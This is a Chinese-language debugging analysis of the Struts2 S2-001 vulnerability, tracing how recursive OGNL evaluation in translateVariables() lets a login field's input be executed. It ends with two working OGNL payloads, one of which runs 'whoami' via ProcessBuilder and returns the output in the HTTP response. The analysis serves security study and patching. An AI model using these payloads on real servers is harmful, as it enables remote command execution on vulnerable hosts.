Struts2漏洞调试分析
S2-001
漏洞概要
影响版本:Struts 2.0.0 - Struts 2.0.8
漏洞环境
Jdk8u301、Struts 2.0.8、Tomcat 8.5.84
漏洞分析
Struts 2 框架的数据处理流程图:
我们可以看到Struts2在接收到HTTP请求的时候,会经过一系列拦截器(Interceptor)
,这些拦截器可以是Struts2自带的,也可以是用户自定义的,这取决于struts.xml
配置文件,而如下配置就继承了struts-default,使用了Struts2自带的拦截器。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
我们可以来查看一下自带的拦截器栈defaultStack
我们需要重点关注其中的params
拦截器
这个拦截器会从客户端获取到请求的参数,并且调用setParameters()
方法
然后该方法调用stack.setValue()
方法,继续跟进
最后调用OgnlUtil.setValue()
方法,将参数写入到 action 中,并存入上下文中
最后return invocation.invoke();
进入下一个拦截器,执行经过了这一系列拦截器之后,会走到DefaultActionInvocation.java:253
继续跟进,走到DefaultActionInvocation.java:348
,这里调用了Result实现类的execute方法,也就是我们的业务逻辑LoginAction.execute()
进入到业务逻辑Action
当中,程序会根据 Action
处理的结果,选择对应的 JSP
视图进行展示,并对视图中的 Struts2
标签进行处理。如下图,在本例中 Action
处理用户登录失败时会返回 error
,于是会返回index.jsp,若登陆成功则跳转到welcome.jsp
package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
在JSP中如果使用了Struts2标签 <s:textfield />
时,则会调用先org.apache.struts2.views.jsp.ComponentTagSupport
中的 doStartTag()
,然后调用 doEndTag()
方法:
doStartTag()
:获取一些组件信息和属性赋值,做一些初始化的工作doEndTag()
:在标签解析结束后需要做的事,如调用组件的end()
方法
而这个漏洞的触发点,就从 doEndTag()
开始,这个方法调用组件 org.apache.struts2.components.UIBean
的end()
方法
随后调用 evaluateParams()
方法,这个方法判断了altSyntax
是否开启,并调用 findValue()
方法寻找参数值:
跟进findValue()
方法,这里调用了translateVariables()
方法
protected Object findValue(String expr, Class toType) {
if (this.altSyntax() && toType == String.class) {
return TextParseUtil.translateVariables('%', expr, this.stack);
} else {
if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
expr = expr.substring(2, expr.length() - 1);
}
return this.getStack().findValue(expr, toType);
}
}
跟进translateVariables()
方法,发现他又调用了重载方法
继续跟进
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
然后在这里又调用了findValue()
然后调用OgnlUyil.getValue()
进行了Ognl表达式解析
那么如何触发漏洞呢?答案就在我们传入translateVariables()
方法的表达式 expression
为 %{username}
,经过 Ognl
表达式解析,程序会获得其值为%{1+1}
,这个值是之前params
拦截器的时候获取到的。由于此处使用的是while
循环来解析Ognl
,所以获得的 %{1+1}
又会被再次执行,最终也就造成了任意代码执行。
payload
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c","open -a Calculator"})).start()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c","whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
总结
漏洞造成原因在于:
- Struts 2 框架中的一个标签处理功能: altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。
- 在
translateVariables()
中,递归解析了表达式,在处理完%{username}
后将username
的值直接取出并继续在while
循环中解析,若用户输入的username
是恶意的ognl
表达式,比如%{1+1}
,则得以解析执行。
参考
https://chybeta.github.io/2018/02/06/%E3%80%90struts2-%E5%91%BD%E4%BB%A4-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E7%B3%BB%E5%88%97%E3%80%91S2-001/
https://mochazz.github.io/2020/06/16/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BStruts2-001/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/s2-001%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/Struts2-001.md